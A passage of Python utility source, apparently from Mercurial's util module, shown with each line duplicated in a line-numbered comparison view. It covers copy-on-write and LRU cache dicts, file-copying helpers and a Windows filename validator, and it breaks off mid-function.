1148
1149 Be sure to call d = d.preparewrite() before writing to d.
1149 Be sure to call d = d.preparewrite() before writing to d.
1150
1150
1151 >>> a = cowdict()
1151 >>> a = cowdict()
1152 >>> a is a.preparewrite()
1152 >>> a is a.preparewrite()
1153 True
1153 True
1154 >>> b = a.copy()
1154 >>> b = a.copy()
1155 >>> b is a
1155 >>> b is a
1156 True
1156 True
1157 >>> c = b.copy()
1157 >>> c = b.copy()
1158 >>> c is a
1158 >>> c is a
1159 True
1159 True
1160 >>> a = a.preparewrite()
1160 >>> a = a.preparewrite()
1161 >>> b is a
1161 >>> b is a
1162 False
1162 False
1163 >>> a is a.preparewrite()
1163 >>> a is a.preparewrite()
1164 True
1164 True
1165 >>> c = c.preparewrite()
1165 >>> c = c.preparewrite()
1166 >>> b is c
1166 >>> b is c
1167 False
1167 False
1168 >>> b is b.preparewrite()
1168 >>> b is b.preparewrite()
1169 True
1169 True
1170 """
1170 """
1171
1171
1172 class cowsortdict(cow, sortdict):
1172 class cowsortdict(cow, sortdict):
1173 """copy-on-write sortdict
1173 """copy-on-write sortdict
1174
1174
1175 Be sure to call d = d.preparewrite() before writing to d.
1175 Be sure to call d = d.preparewrite() before writing to d.
1176 """
1176 """
1177
1177
1178 class transactional(object):
1178 class transactional(object):
1179 """Base class for making a transactional type into a context manager."""
1179 """Base class for making a transactional type into a context manager."""
1180 __metaclass__ = abc.ABCMeta
1180 __metaclass__ = abc.ABCMeta
1181
1181
1182 @abc.abstractmethod
1182 @abc.abstractmethod
1183 def close(self):
1183 def close(self):
1184 """Successfully closes the transaction."""
1184 """Successfully closes the transaction."""
1185
1185
1186 @abc.abstractmethod
1186 @abc.abstractmethod
1187 def release(self):
1187 def release(self):
1188 """Marks the end of the transaction.
1188 """Marks the end of the transaction.
1189
1189
1190 If the transaction has not been closed, it will be aborted.
1190 If the transaction has not been closed, it will be aborted.
1191 """
1191 """
1192
1192
1193 def __enter__(self):
1193 def __enter__(self):
1194 return self
1194 return self
1195
1195
1196 def __exit__(self, exc_type, exc_val, exc_tb):
1196 def __exit__(self, exc_type, exc_val, exc_tb):
1197 try:
1197 try:
1198 if exc_type is None:
1198 if exc_type is None:
1199 self.close()
1199 self.close()
1200 finally:
1200 finally:
1201 self.release()
1201 self.release()
1202
1202
1203 @contextlib.contextmanager
1203 @contextlib.contextmanager
1204 def acceptintervention(tr=None):
1204 def acceptintervention(tr=None):
1205 """A context manager that closes the transaction on InterventionRequired
1205 """A context manager that closes the transaction on InterventionRequired
1206
1206
1207 If no transaction was provided, this simply runs the body and returns
1207 If no transaction was provided, this simply runs the body and returns
1208 """
1208 """
1209 if not tr:
1209 if not tr:
1210 yield
1210 yield
1211 return
1211 return
1212 try:
1212 try:
1213 yield
1213 yield
1214 tr.close()
1214 tr.close()
1215 except error.InterventionRequired:
1215 except error.InterventionRequired:
1216 tr.close()
1216 tr.close()
1217 raise
1217 raise
1218 finally:
1218 finally:
1219 tr.release()
1219 tr.release()
1220
1220
1221 @contextlib.contextmanager
1221 @contextlib.contextmanager
1222 def nullcontextmanager():
1222 def nullcontextmanager():
1223 yield
1223 yield
1224
1224
1225 class _lrucachenode(object):
1225 class _lrucachenode(object):
1226 """A node in a doubly linked list.
1226 """A node in a doubly linked list.
1227
1227
1228 Holds a reference to nodes on either side as well as a key-value
1228 Holds a reference to nodes on either side as well as a key-value
1229 pair for the dictionary entry.
1229 pair for the dictionary entry.
1230 """
1230 """
1231 __slots__ = (u'next', u'prev', u'key', u'value')
1231 __slots__ = (u'next', u'prev', u'key', u'value')
1232
1232
1233 def __init__(self):
1233 def __init__(self):
1234 self.next = None
1234 self.next = None
1235 self.prev = None
1235 self.prev = None
1236
1236
1237 self.key = _notset
1237 self.key = _notset
1238 self.value = None
1238 self.value = None
1239
1239
1240 def markempty(self):
1240 def markempty(self):
1241 """Mark the node as emptied."""
1241 """Mark the node as emptied."""
1242 self.key = _notset
1242 self.key = _notset
1243
1243
1244 class lrucachedict(object):
1244 class lrucachedict(object):
1245 """Dict that caches most recent accesses and sets.
1245 """Dict that caches most recent accesses and sets.
1246
1246
1247 The dict consists of an actual backing dict - indexed by original
1247 The dict consists of an actual backing dict - indexed by original
1248 key - and a doubly linked circular list defining the order of entries in
1248 key - and a doubly linked circular list defining the order of entries in
1249 the cache.
1249 the cache.
1250
1250
1251 The head node is the newest entry in the cache. If the cache is full,
1251 The head node is the newest entry in the cache. If the cache is full,
1252 we recycle head.prev and make it the new head. Cache accesses result in
1252 we recycle head.prev and make it the new head. Cache accesses result in
1253 the node being moved to before the existing head and being marked as the
1253 the node being moved to before the existing head and being marked as the
1254 new head node.
1254 new head node.
1255 """
1255 """
1256 def __init__(self, max):
1256 def __init__(self, max):
1257 self._cache = {}
1257 self._cache = {}
1258
1258
1259 self._head = head = _lrucachenode()
1259 self._head = head = _lrucachenode()
1260 head.prev = head
1260 head.prev = head
1261 head.next = head
1261 head.next = head
1262 self._size = 1
1262 self._size = 1
1263 self._capacity = max
1263 self._capacity = max
1264
1264
1265 def __len__(self):
1265 def __len__(self):
1266 return len(self._cache)
1266 return len(self._cache)
1267
1267
1268 def __contains__(self, k):
1268 def __contains__(self, k):
1269 return k in self._cache
1269 return k in self._cache
1270
1270
1271 def __iter__(self):
1271 def __iter__(self):
1272 # We don't have to iterate in cache order, but why not.
1272 # We don't have to iterate in cache order, but why not.
1273 n = self._head
1273 n = self._head
1274 for i in range(len(self._cache)):
1274 for i in range(len(self._cache)):
1275 yield n.key
1275 yield n.key
1276 n = n.next
1276 n = n.next
1277
1277
1278 def __getitem__(self, k):
1278 def __getitem__(self, k):
1279 node = self._cache[k]
1279 node = self._cache[k]
1280 self._movetohead(node)
1280 self._movetohead(node)
1281 return node.value
1281 return node.value
1282
1282
1283 def __setitem__(self, k, v):
1283 def __setitem__(self, k, v):
1284 node = self._cache.get(k)
1284 node = self._cache.get(k)
1285 # Replace existing value and mark as newest.
1285 # Replace existing value and mark as newest.
1286 if node is not None:
1286 if node is not None:
1287 node.value = v
1287 node.value = v
1288 self._movetohead(node)
1288 self._movetohead(node)
1289 return
1289 return
1290
1290
1291 if self._size < self._capacity:
1291 if self._size < self._capacity:
1292 node = self._addcapacity()
1292 node = self._addcapacity()
1293 else:
1293 else:
1294 # Grab the last/oldest item.
1294 # Grab the last/oldest item.
1295 node = self._head.prev
1295 node = self._head.prev
1296
1296
1297 # At capacity. Kill the old entry.
1297 # At capacity. Kill the old entry.
1298 if node.key is not _notset:
1298 if node.key is not _notset:
1299 del self._cache[node.key]
1299 del self._cache[node.key]
1300
1300
1301 node.key = k
1301 node.key = k
1302 node.value = v
1302 node.value = v
1303 self._cache[k] = node
1303 self._cache[k] = node
1304 # And mark it as newest entry. No need to adjust order since it
1304 # And mark it as newest entry. No need to adjust order since it
1305 # is already self._head.prev.
1305 # is already self._head.prev.
1306 self._head = node
1306 self._head = node
1307
1307
1308 def __delitem__(self, k):
1308 def __delitem__(self, k):
1309 node = self._cache.pop(k)
1309 node = self._cache.pop(k)
1310 node.markempty()
1310 node.markempty()
1311
1311
1312 # Temporarily mark as newest item before re-adjusting head to make
1312 # Temporarily mark as newest item before re-adjusting head to make
1313 # this node the oldest item.
1313 # this node the oldest item.
1314 self._movetohead(node)
1314 self._movetohead(node)
1315 self._head = node.next
1315 self._head = node.next
1316
1316
1317 # Additional dict methods.
1317 # Additional dict methods.
1318
1318
1319 def get(self, k, default=None):
1319 def get(self, k, default=None):
1320 try:
1320 try:
1321 return self._cache[k].value
1321 return self._cache[k].value
1322 except KeyError:
1322 except KeyError:
1323 return default
1323 return default
1324
1324
1325 def clear(self):
1325 def clear(self):
1326 n = self._head
1326 n = self._head
1327 while n.key is not _notset:
1327 while n.key is not _notset:
1328 n.markempty()
1328 n.markempty()
1329 n = n.next
1329 n = n.next
1330
1330
1331 self._cache.clear()
1331 self._cache.clear()
1332
1332
1333 def copy(self):
1333 def copy(self):
1334 result = lrucachedict(self._capacity)
1334 result = lrucachedict(self._capacity)
1335 n = self._head.prev
1335 n = self._head.prev
1336 # Iterate in oldest-to-newest order, so the copy has the right ordering
1336 # Iterate in oldest-to-newest order, so the copy has the right ordering
1337 for i in range(len(self._cache)):
1337 for i in range(len(self._cache)):
1338 result[n.key] = n.value
1338 result[n.key] = n.value
1339 n = n.prev
1339 n = n.prev
1340 return result
1340 return result
1341
1341
1342 def _movetohead(self, node):
1342 def _movetohead(self, node):
1343 """Mark a node as the newest, making it the new head.
1343 """Mark a node as the newest, making it the new head.
1344
1344
1345 When a node is accessed, it becomes the freshest entry in the LRU
1345 When a node is accessed, it becomes the freshest entry in the LRU
1346 list, which is denoted by self._head.
1346 list, which is denoted by self._head.
1347
1347
1348 Visually, let's make ``N`` the new head node (* denotes head):
1348 Visually, let's make ``N`` the new head node (* denotes head):
1349
1349
1350 previous/oldest <-> head <-> next/next newest
1350 previous/oldest <-> head <-> next/next newest
1351
1351
1352 ----<->--- A* ---<->-----
1352 ----<->--- A* ---<->-----
1353 | |
1353 | |
1354 E <-> D <-> N <-> C <-> B
1354 E <-> D <-> N <-> C <-> B
1355
1355
1356 To:
1356 To:
1357
1357
1358 ----<->--- N* ---<->-----
1358 ----<->--- N* ---<->-----
1359 | |
1359 | |
1360 E <-> D <-> C <-> B <-> A
1360 E <-> D <-> C <-> B <-> A
1361
1361
1362 This requires the following moves:
1362 This requires the following moves:
1363
1363
1364 C.next = D (node.prev.next = node.next)
1364 C.next = D (node.prev.next = node.next)
1365 D.prev = C (node.next.prev = node.prev)
1365 D.prev = C (node.next.prev = node.prev)
1366 E.next = N (head.prev.next = node)
1366 E.next = N (head.prev.next = node)
1367 N.prev = E (node.prev = head.prev)
1367 N.prev = E (node.prev = head.prev)
1368 N.next = A (node.next = head)
1368 N.next = A (node.next = head)
1369 A.prev = N (head.prev = node)
1369 A.prev = N (head.prev = node)
1370 """
1370 """
1371 head = self._head
1371 head = self._head
1372 # C.next = D
1372 # C.next = D
1373 node.prev.next = node.next
1373 node.prev.next = node.next
1374 # D.prev = C
1374 # D.prev = C
1375 node.next.prev = node.prev
1375 node.next.prev = node.prev
1376 # N.prev = E
1376 # N.prev = E
1377 node.prev = head.prev
1377 node.prev = head.prev
1378 # N.next = A
1378 # N.next = A
1379 # It is tempting to do just "head" here, however if node is
1379 # It is tempting to do just "head" here, however if node is
1380 # adjacent to head, this will do bad things.
1380 # adjacent to head, this will do bad things.
1381 node.next = head.prev.next
1381 node.next = head.prev.next
1382 # E.next = N
1382 # E.next = N
1383 node.next.prev = node
1383 node.next.prev = node
1384 # A.prev = N
1384 # A.prev = N
1385 node.prev.next = node
1385 node.prev.next = node
1386
1386
1387 self._head = node
1387 self._head = node
1388
1388
1389 def _addcapacity(self):
1389 def _addcapacity(self):
1390 """Add a node to the circular linked list.
1390 """Add a node to the circular linked list.
1391
1391
1392 The new node is inserted before the head node.
1392 The new node is inserted before the head node.
1393 """
1393 """
1394 head = self._head
1394 head = self._head
1395 node = _lrucachenode()
1395 node = _lrucachenode()
1396 head.prev.next = node
1396 head.prev.next = node
1397 node.prev = head.prev
1397 node.prev = head.prev
1398 node.next = head
1398 node.next = head
1399 head.prev = node
1399 head.prev = node
1400 self._size += 1
1400 self._size += 1
1401 return node
1401 return node
1402
1402
1403 def lrucachefunc(func):
1403 def lrucachefunc(func):
1404 '''cache most recent results of function calls'''
1404 '''cache most recent results of function calls'''
1405 cache = {}
1405 cache = {}
1406 order = collections.deque()
1406 order = collections.deque()
1407 if func.__code__.co_argcount == 1:
1407 if func.__code__.co_argcount == 1:
1408 def f(arg):
1408 def f(arg):
1409 if arg not in cache:
1409 if arg not in cache:
1410 if len(cache) > 20:
1410 if len(cache) > 20:
1411 del cache[order.popleft()]
1411 del cache[order.popleft()]
1412 cache[arg] = func(arg)
1412 cache[arg] = func(arg)
1413 else:
1413 else:
1414 order.remove(arg)
1414 order.remove(arg)
1415 order.append(arg)
1415 order.append(arg)
1416 return cache[arg]
1416 return cache[arg]
1417 else:
1417 else:
1418 def f(*args):
1418 def f(*args):
1419 if args not in cache:
1419 if args not in cache:
1420 if len(cache) > 20:
1420 if len(cache) > 20:
1421 del cache[order.popleft()]
1421 del cache[order.popleft()]
1422 cache[args] = func(*args)
1422 cache[args] = func(*args)
1423 else:
1423 else:
1424 order.remove(args)
1424 order.remove(args)
1425 order.append(args)
1425 order.append(args)
1426 return cache[args]
1426 return cache[args]
1427
1427
1428 return f
1428 return f
1429
1429
1430 class propertycache(object):
1430 class propertycache(object):
1431 def __init__(self, func):
1431 def __init__(self, func):
1432 self.func = func
1432 self.func = func
1433 self.name = func.__name__
1433 self.name = func.__name__
1434 def __get__(self, obj, type=None):
1434 def __get__(self, obj, type=None):
1435 result = self.func(obj)
1435 result = self.func(obj)
1436 self.cachevalue(obj, result)
1436 self.cachevalue(obj, result)
1437 return result
1437 return result
1438
1438
1439 def cachevalue(self, obj, value):
1439 def cachevalue(self, obj, value):
1440 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1440 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1441 obj.__dict__[self.name] = value
1441 obj.__dict__[self.name] = value
1442
1442
1443 def clearcachedproperty(obj, prop):
1443 def clearcachedproperty(obj, prop):
1444 '''clear a cached property value, if one has been set'''
1444 '''clear a cached property value, if one has been set'''
1445 if prop in obj.__dict__:
1445 if prop in obj.__dict__:
1446 del obj.__dict__[prop]
1446 del obj.__dict__[prop]
1447
1447
1448 def increasingchunks(source, min=1024, max=65536):
1448 def increasingchunks(source, min=1024, max=65536):
1449 '''return no less than min bytes per chunk while data remains,
1449 '''return no less than min bytes per chunk while data remains,
1450 doubling min after each chunk until it reaches max'''
1450 doubling min after each chunk until it reaches max'''
1451 def log2(x):
1451 def log2(x):
1452 if not x:
1452 if not x:
1453 return 0
1453 return 0
1454 i = 0
1454 i = 0
1455 while x:
1455 while x:
1456 x >>= 1
1456 x >>= 1
1457 i += 1
1457 i += 1
1458 return i - 1
1458 return i - 1
1459
1459
1460 buf = []
1460 buf = []
1461 blen = 0
1461 blen = 0
1462 for chunk in source:
1462 for chunk in source:
1463 buf.append(chunk)
1463 buf.append(chunk)
1464 blen += len(chunk)
1464 blen += len(chunk)
1465 if blen >= min:
1465 if blen >= min:
1466 if min < max:
1466 if min < max:
1467 min = min << 1
1467 min = min << 1
1468 nmin = 1 << log2(blen)
1468 nmin = 1 << log2(blen)
1469 if nmin > min:
1469 if nmin > min:
1470 min = nmin
1470 min = nmin
1471 if min > max:
1471 if min > max:
1472 min = max
1472 min = max
1473 yield ''.join(buf)
1473 yield ''.join(buf)
1474 blen = 0
1474 blen = 0
1475 buf = []
1475 buf = []
1476 if buf:
1476 if buf:
1477 yield ''.join(buf)
1477 yield ''.join(buf)
1478
1478
1479 def always(fn):
1479 def always(fn):
1480 return True
1480 return True
1481
1481
1482 def never(fn):
1482 def never(fn):
1483 return False
1483 return False
1484
1484
1485 def nogc(func):
1485 def nogc(func):
1486 """disable garbage collector
1486 """disable garbage collector
1487
1487
1488 Python's garbage collector triggers a GC each time a certain number of
1488 Python's garbage collector triggers a GC each time a certain number of
1489 container objects (the number being defined by gc.get_threshold()) are
1489 container objects (the number being defined by gc.get_threshold()) are
1490 allocated even when marked not to be tracked by the collector. Tracking has
1490 allocated even when marked not to be tracked by the collector. Tracking has
1491 no effect on when GCs are triggered, only on what objects the GC looks
1491 no effect on when GCs are triggered, only on what objects the GC looks
1492 into. As a workaround, disable GC while building complex (huge)
1492 into. As a workaround, disable GC while building complex (huge)
1493 containers.
1493 containers.
1494
1494
1495 This garbage collector issue have been fixed in 2.7. But it still affect
1495 This garbage collector issue have been fixed in 2.7. But it still affect
1496 CPython's performance.
1496 CPython's performance.
1497 """
1497 """
1498 def wrapper(*args, **kwargs):
1498 def wrapper(*args, **kwargs):
1499 gcenabled = gc.isenabled()
1499 gcenabled = gc.isenabled()
1500 gc.disable()
1500 gc.disable()
1501 try:
1501 try:
1502 return func(*args, **kwargs)
1502 return func(*args, **kwargs)
1503 finally:
1503 finally:
1504 if gcenabled:
1504 if gcenabled:
1505 gc.enable()
1505 gc.enable()
1506 return wrapper
1506 return wrapper
1507
1507
1508 if pycompat.ispypy:
1508 if pycompat.ispypy:
1509 # PyPy runs slower with gc disabled
1509 # PyPy runs slower with gc disabled
1510 nogc = lambda x: x
1510 nogc = lambda x: x
1511
1511
1512 def pathto(root, n1, n2):
1512 def pathto(root, n1, n2):
1513 '''return the relative path from one place to another.
1513 '''return the relative path from one place to another.
1514 root should use os.sep to separate directories
1514 root should use os.sep to separate directories
1515 n1 should use os.sep to separate directories
1515 n1 should use os.sep to separate directories
1516 n2 should use "/" to separate directories
1516 n2 should use "/" to separate directories
1517 returns an os.sep-separated path.
1517 returns an os.sep-separated path.
1518
1518
1519 If n1 is a relative path, it's assumed it's
1519 If n1 is a relative path, it's assumed it's
1520 relative to root.
1520 relative to root.
1521 n2 should always be relative to root.
1521 n2 should always be relative to root.
1522 '''
1522 '''
1523 if not n1:
1523 if not n1:
1524 return localpath(n2)
1524 return localpath(n2)
1525 if os.path.isabs(n1):
1525 if os.path.isabs(n1):
1526 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1526 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1527 return os.path.join(root, localpath(n2))
1527 return os.path.join(root, localpath(n2))
1528 n2 = '/'.join((pconvert(root), n2))
1528 n2 = '/'.join((pconvert(root), n2))
1529 a, b = splitpath(n1), n2.split('/')
1529 a, b = splitpath(n1), n2.split('/')
1530 a.reverse()
1530 a.reverse()
1531 b.reverse()
1531 b.reverse()
1532 while a and b and a[-1] == b[-1]:
1532 while a and b and a[-1] == b[-1]:
1533 a.pop()
1533 a.pop()
1534 b.pop()
1534 b.pop()
1535 b.reverse()
1535 b.reverse()
1536 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1536 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1537
1537
1538 # the location of data files matching the source code
1538 # the location of data files matching the source code
1539 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1539 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1540 # executable version (py2exe) doesn't support __file__
1540 # executable version (py2exe) doesn't support __file__
1541 datapath = os.path.dirname(pycompat.sysexecutable)
1541 datapath = os.path.dirname(pycompat.sysexecutable)
1542 else:
1542 else:
1543 datapath = os.path.dirname(pycompat.fsencode(__file__))
1543 datapath = os.path.dirname(pycompat.fsencode(__file__))
1544
1544
1545 i18n.setdatapath(datapath)
1545 i18n.setdatapath(datapath)
1546
1546
1547 def checksignature(func):
1547 def checksignature(func):
1548 '''wrap a function with code to check for calling errors'''
1548 '''wrap a function with code to check for calling errors'''
1549 def check(*args, **kwargs):
1549 def check(*args, **kwargs):
1550 try:
1550 try:
1551 return func(*args, **kwargs)
1551 return func(*args, **kwargs)
1552 except TypeError:
1552 except TypeError:
1553 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1553 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1554 raise error.SignatureError
1554 raise error.SignatureError
1555 raise
1555 raise
1556
1556
1557 return check
1557 return check
1558
1558
1559 # a whilelist of known filesystems where hardlink works reliably
1559 # a whilelist of known filesystems where hardlink works reliably
1560 _hardlinkfswhitelist = {
1560 _hardlinkfswhitelist = {
1561 'apfs',
1561 'apfs',
1562 'btrfs',
1562 'btrfs',
1563 'ext2',
1563 'ext2',
1564 'ext3',
1564 'ext3',
1565 'ext4',
1565 'ext4',
1566 'hfs',
1566 'hfs',
1567 'jfs',
1567 'jfs',
1568 'NTFS',
1568 'NTFS',
1569 'reiserfs',
1569 'reiserfs',
1570 'tmpfs',
1570 'tmpfs',
1571 'ufs',
1571 'ufs',
1572 'xfs',
1572 'xfs',
1573 'zfs',
1573 'zfs',
1574 }
1574 }
1575
1575
1576 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1576 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1577 '''copy a file, preserving mode and optionally other stat info like
1577 '''copy a file, preserving mode and optionally other stat info like
1578 atime/mtime
1578 atime/mtime
1579
1579
1580 checkambig argument is used with filestat, and is useful only if
1580 checkambig argument is used with filestat, and is useful only if
1581 destination file is guarded by any lock (e.g. repo.lock or
1581 destination file is guarded by any lock (e.g. repo.lock or
1582 repo.wlock).
1582 repo.wlock).
1583
1583
1584 copystat and checkambig should be exclusive.
1584 copystat and checkambig should be exclusive.
1585 '''
1585 '''
1586 assert not (copystat and checkambig)
1586 assert not (copystat and checkambig)
1587 oldstat = None
1587 oldstat = None
1588 if os.path.lexists(dest):
1588 if os.path.lexists(dest):
1589 if checkambig:
1589 if checkambig:
1590 oldstat = checkambig and filestat.frompath(dest)
1590 oldstat = checkambig and filestat.frompath(dest)
1591 unlink(dest)
1591 unlink(dest)
1592 if hardlink:
1592 if hardlink:
1593 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1593 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1594 # unless we are confident that dest is on a whitelisted filesystem.
1594 # unless we are confident that dest is on a whitelisted filesystem.
1595 try:
1595 try:
1596 fstype = getfstype(os.path.dirname(dest))
1596 fstype = getfstype(os.path.dirname(dest))
1597 except OSError:
1597 except OSError:
1598 fstype = None
1598 fstype = None
1599 if fstype not in _hardlinkfswhitelist:
1599 if fstype not in _hardlinkfswhitelist:
1600 hardlink = False
1600 hardlink = False
1601 if hardlink:
1601 if hardlink:
1602 try:
1602 try:
1603 oslink(src, dest)
1603 oslink(src, dest)
1604 return
1604 return
1605 except (IOError, OSError):
1605 except (IOError, OSError):
1606 pass # fall back to normal copy
1606 pass # fall back to normal copy
1607 if os.path.islink(src):
1607 if os.path.islink(src):
1608 os.symlink(os.readlink(src), dest)
1608 os.symlink(os.readlink(src), dest)
1609 # copytime is ignored for symlinks, but in general copytime isn't needed
1609 # copytime is ignored for symlinks, but in general copytime isn't needed
1610 # for them anyway
1610 # for them anyway
1611 else:
1611 else:
1612 try:
1612 try:
1613 shutil.copyfile(src, dest)
1613 shutil.copyfile(src, dest)
1614 if copystat:
1614 if copystat:
1615 # copystat also copies mode
1615 # copystat also copies mode
1616 shutil.copystat(src, dest)
1616 shutil.copystat(src, dest)
1617 else:
1617 else:
1618 shutil.copymode(src, dest)
1618 shutil.copymode(src, dest)
1619 if oldstat and oldstat.stat:
1619 if oldstat and oldstat.stat:
1620 newstat = filestat.frompath(dest)
1620 newstat = filestat.frompath(dest)
1621 if newstat.isambig(oldstat):
1621 if newstat.isambig(oldstat):
1622 # stat of copied file is ambiguous to original one
1622 # stat of copied file is ambiguous to original one
1623 advanced = (
1623 advanced = (
1624 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1624 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1625 os.utime(dest, (advanced, advanced))
1625 os.utime(dest, (advanced, advanced))
1626 except shutil.Error as inst:
1626 except shutil.Error as inst:
1627 raise error.Abort(str(inst))
1627 raise error.Abort(str(inst))
1628
1628
1629 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1629 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1630 """Copy a directory tree using hardlinks if possible."""
1630 """Copy a directory tree using hardlinks if possible."""
1631 num = 0
1631 num = 0
1632
1632
1633 gettopic = lambda: hardlink and _('linking') or _('copying')
1633 gettopic = lambda: hardlink and _('linking') or _('copying')
1634
1634
1635 if os.path.isdir(src):
1635 if os.path.isdir(src):
1636 if hardlink is None:
1636 if hardlink is None:
1637 hardlink = (os.stat(src).st_dev ==
1637 hardlink = (os.stat(src).st_dev ==
1638 os.stat(os.path.dirname(dst)).st_dev)
1638 os.stat(os.path.dirname(dst)).st_dev)
1639 topic = gettopic()
1639 topic = gettopic()
1640 os.mkdir(dst)
1640 os.mkdir(dst)
1641 for name, kind in listdir(src):
1641 for name, kind in listdir(src):
1642 srcname = os.path.join(src, name)
1642 srcname = os.path.join(src, name)
1643 dstname = os.path.join(dst, name)
1643 dstname = os.path.join(dst, name)
1644 def nprog(t, pos):
1644 def nprog(t, pos):
1645 if pos is not None:
1645 if pos is not None:
1646 return progress(t, pos + num)
1646 return progress(t, pos + num)
1647 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1647 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1648 num += n
1648 num += n
1649 else:
1649 else:
1650 if hardlink is None:
1650 if hardlink is None:
1651 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1651 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1652 os.stat(os.path.dirname(dst)).st_dev)
1652 os.stat(os.path.dirname(dst)).st_dev)
1653 topic = gettopic()
1653 topic = gettopic()
1654
1654
1655 if hardlink:
1655 if hardlink:
1656 try:
1656 try:
1657 oslink(src, dst)
1657 oslink(src, dst)
1658 except (IOError, OSError):
1658 except (IOError, OSError):
1659 hardlink = False
1659 hardlink = False
1660 shutil.copy(src, dst)
1660 shutil.copy(src, dst)
1661 else:
1661 else:
1662 shutil.copy(src, dst)
1662 shutil.copy(src, dst)
1663 num += 1
1663 num += 1
1664 progress(topic, num)
1664 progress(topic, num)
1665 progress(topic, None)
1665 progress(topic, None)
1666
1666
1667 return hardlink, num
1667 return hardlink, num
1668
1668
1669 _winreservednames = {
1669 _winreservednames = {
1670 'con', 'prn', 'aux', 'nul',
1670 'con', 'prn', 'aux', 'nul',
1671 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1671 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1672 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1672 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1673 }
1673 }
1674 _winreservedchars = ':*?"<>|'
1674 _winreservedchars = ':*?"<>|'
1675 def checkwinfilename(path):
1675 def checkwinfilename(path):
1676 r'''Check that the base-relative path is a valid filename on Windows.
1676 r'''Check that the base-relative path is a valid filename on Windows.
1677 Returns None if the path is ok, or a UI string describing the problem.
1677 Returns None if the path is ok, or a UI string describing the problem.
1678
1678
1679 >>> checkwinfilename(b"just/a/normal/path")
1679 >>> checkwinfilename(b"just/a/normal/path")
1680 >>> checkwinfilename(b"foo/bar/con.xml")
1680 >>> checkwinfilename(b"foo/bar/con.xml")
1681 "filename contains 'con', which is reserved on Windows"
1681 "filename contains 'con', which is reserved on Windows"
1682 >>> checkwinfilename(b"foo/con.xml/bar")
1682 >>> checkwinfilename(b"foo/con.xml/bar")
1683 "filename contains 'con', which is reserved on Windows"
1683 "filename contains 'con', which is reserved on Windows"
1684 >>> checkwinfilename(b"foo/bar/xml.con")
1684 >>> checkwinfilename(b"foo/bar/xml.con")
1685 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1685 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1686 "filename contains 'AUX', which is reserved on Windows"
1686 "filename contains 'AUX', which is reserved on Windows"
1687 >>> checkwinfilename(b"foo/bar/bla:.txt")
1687 >>> checkwinfilename(b"foo/bar/bla:.txt")
1688 "filename contains ':', which is reserved on Windows"
1688 "filename contains ':', which is reserved on Windows"
1689 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1689 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1690 "filename contains '\\x07', which is invalid on Windows"
1690 "filename contains '\\x07', which is invalid on Windows"
1691 >>> checkwinfilename(b"foo/bar/bla ")
1691 >>> checkwinfilename(b"foo/bar/bla ")
1692 "filename ends with ' ', which is not allowed on Windows"
1692 "filename ends with ' ', which is not allowed on Windows"
1693 >>> checkwinfilename(b"../bar")
1693 >>> checkwinfilename(b"../bar")
1694 >>> checkwinfilename(b"foo\\")
1694 >>> checkwinfilename(b"foo\\")
1695 "filename ends with '\\', which is invalid on Windows"
1695 "filename ends with '\\', which is invalid on Windows"
1696 >>> checkwinfilename(b"foo\\/bar")
1696 >>> checkwinfilename(b"foo\\/bar")
1697 "directory name ends with '\\', which is invalid on Windows"
1697 "directory name ends with '\\', which is invalid on Windows"
1698 '''
1698 '''
1699 if path.endswith('\\'):
1699 if path.endswith('\\'):
1700 return _("filename ends with '\\', which is invalid on Windows")
1700 return _("filename ends with '\\', which is invalid on Windows")
1701 if '\\/' in path:
1701 if '\\/' in path:
1702 return _("directory name ends with '\\', which is invalid on Windows")
1702 return _("directory name ends with '\\', which is invalid on Windows")
1703 for n in path.replace('\\', '/').split('/'):
1703 for n in path.replace('\\', '/').split('/'):
1704 if not n:
1704 if not n:
1705 continue
1705 continue
1706 for c in _filenamebytestr(n):
1706 for c in _filenamebytestr(n):
1707 if c in _winreservedchars:
1707 if c in _winreservedchars:
1708 return _("filename contains '%s', which is reserved "
1708 return _("filename contains '%s', which is reserved "
1709 "on Windows") % c
1709 "on Windows") % c
1710 if ord(c) <= 31:
1710 if ord(c) <= 31:
1711 return _("filename contains '%s', which is invalid "
1711 return _("filename contains '%s', which is invalid "
1712 "on Windows") % stringutil.escapestr(c)
1712 "on Windows") % stringutil.escapestr(c)
1713 base = n.split('.')[0]
1713 base = n.split('.')[0]
1714 if base and base.lower() in _winreservednames:
1714 if base and base.lower() in _winreservednames:
1715 return _("filename contains '%s', which is reserved "
1715 return _("filename contains '%s', which is reserved "
1716 "on Windows") % base
1716 "on Windows") % base
1717 t = n[-1:]
1717 t = n[-1:]
1718 if t in '. ' and n not in '..':
1718 if t in '. ' and n not in '..':
1719 return _("filename ends with '%s', which is not allowed "
